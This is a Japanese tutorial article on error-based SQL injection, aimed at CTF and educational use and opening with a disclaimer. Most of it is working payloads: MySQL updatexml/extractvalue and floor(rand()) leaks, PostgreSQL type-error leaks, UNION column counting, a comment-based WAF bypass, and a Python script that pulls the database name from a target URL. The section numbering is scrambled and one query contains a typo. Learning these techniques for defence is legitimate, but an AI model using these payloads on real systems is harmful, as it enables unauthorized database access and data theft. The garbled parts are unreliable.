Error-based SQL Injectionを理解する
【免責と注意事項】
本記事ではセキュリティ上の脆弱性や攻撃手法に関する技術的解説を含みます。
これらの内容はあくまで教育目的および研究目的であり、不正アクセスやサービス妨害などの違法行為に利用することを固く禁じます。
試す場合は、CTFやHack The Boxなどの競技環境、もしくは自分が正当に管理権限を持つ検証用環境に限定してください。
記事内容を悪用したことによるいかなる損害についても、筆者および提供者は責任を負いません。
1. Error-based SQL Injection
Error-based SQLiはDBが吐くエラーメッセージを利用して内部情報を引き出すSQLi攻撃手法です。
防御側が「エラー表示OFF」にしている前提なら通用しませんが、CTFではエラーが見えるようになっているケースがよく出ます。
この記事に出てくる~とか0x7eは、DB名やテーブル名に登場しずらい記号なので見分けがつきやすいという理由で使っています。
ちなみに、~と書くより0x7eの方が文字列エスケープ、WAFパターン検知をバイパスできる可能性が高いです…
2. Error-based SQLiの理論体系
2.1 SQLエラーの分類
1. 構文エラー(Syntax error)
2. 型エラー(Type error)
3. 制約エラー(Constraint/Subquery error)
攻撃者はこれらを情報リークのトリガーとして利用します。
代表的な例:
SELECT 1/0;
-- Devision by zero エラー
このエラーメッセージに、攻撃者が仕込んだサブクエリの結果が含まれるように細工していくという感じです。
2.2 Error-basedの核心: "Error = Oracle"
エラーは基本的に以下の3つを漏らします。
1. SQL文がどこまで解析されたか
2. 内部で評価された式の値
3. DBエンジンのバージョン・関数情報
攻撃者の戦略は
「サーバーに"内部で評価した値をエラー文に埋め込ませる"」
例:
SELECT updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
→MySQLはXML関数のエラーメッセージにconcat(...)の結果を含めてしまう。
3. Error-based SQLi 基本ワークフロー
Step.1 注入点の存在確認
'
"
')
")
などの壊し文字を投げて挙動を観察する。
500エラーでもレスポンス時間でもヒントになります。
Step.2 カラム数の特定(UNIONを利用する場合)
UNION SELECT NULL
UNION SELECT NULL, NULL
UNION SELECT NULL, NULL, NULL
成功した数が「現在のアプリケーション実装でSELECTしているカラム数」
UNIONは前後でカラム数をそろえないと成功しません。
Step.3 エラーを意図的に起こして情報をリークさせる
MySQLの場合
SELECT updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1);
PostgreSQLの場合
SELECT 1/(SELECT version());
または
SELECT cast((SELECT table_name FROM information_schema.tables LIMIT 1) AS int);
→intへのキャストは不可能なのでエラー文に中身(information_schema.tablesテーブルのtable_nameカラム)が露出する
4. MySQL: Error-basedの代表的ペイロード
4.1 updatexml()
SELECT updatexml(1, concat('~', (SELECT database()), '~'), 1);
→concat(...)が先に評価され、MySQLはその文字列をupdatexml()の第二引数として解釈しようとするが「そんなXPathないよ」とエラーを吐く。このエラー文に先ほど評価された文字列がでてくる
4.2 extractvalue()
SELECT extractvalue(1, concat('~', (SELECT user()), '~'));
→updatexml()と似ている。第二引数が無効であるエラーを出すときに、先に評価されたSELECT user()が文字列として出てくる
4.3 floor + rand() race condition
SELECT COUNT(*) FROM information_schema.tables GROUP BY floor(rand(0)*2);
MySQLのRAND競合バグを利用し、エラーで内部情報を露出させる。
5. PostgreSQL: Error-based上級
Postgresはエラー文にサブクエリの結果を出す癖を持っていて、
特に以下のエラーが攻撃者の武器となります。
5.1 "invalid input syntax for type integer"エラー
SELECT to_number((SELECT current_database()), '99');
5.2 "division by zero" + concat
SELECAT 1 / (SELECT 0 || (SELECT version()));
5.3 regexp_matchesなどの型不一致
SELECT regexp_matches(1, (SELECT table_name FROM information_schema.tables LIMIT 1));
Postgresは防御が強いようにみえても型エラー系は甘いことが多いです。
8. 防御
攻撃者視点では防御の強度は以下の順
- プリペアドステートメント
- エラー非表示
- WAF
- 入力制限
攻撃成功率に大きく影響するのはアプリケーションがエラーメッセージを返すかどうかです。
7. おまけ
6.1 Blind SQLiとError-basedの合体技
サーバーがエラーを握りつぶす実装だったとしても、
レスポンスの微妙な差・HTMLの差分・ログに漏れるヒントを拾われます。
6.2 WAFをバイパスするためのオブスケーション
例:
/*!00000SELECT*/ updatexml...
6.3 2段階インジェクション(Nested Injection)
POST/GETの2フィールドを組み合わせて1つのクエリになる場合、片方で文法を崩し、もう片方でエラーを操作する。
4. 関数制限を回避する再帰的ペイロード
updatexml/extractvalueが禁止→バイナリ比較×型エラーで強行突破
例:
SELECT (SELECT table_name FROM information_schema.tables LIMIT 1) = 1;
このSQLはbool実行時に比較不能となりエラー文へtable_nameが漏れる。
5. 情報抽出の自動化
自前スクリプトで
- カラム数の自動特定
- エラーのregex抽出
- テーブル一覧の自動列挙
- 各列の値の抽出
Pythonベースの例:
import requests
import re
URL = "https://target.site/items?id="
def leak(payload):
r = requests.get(URL + payload)
m = re.search(r"~(.*?)~", r.text)
return m.group(1) if m else None
# DB名漏洩
payload = "1 and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)"
print(leak(payload))
Discussion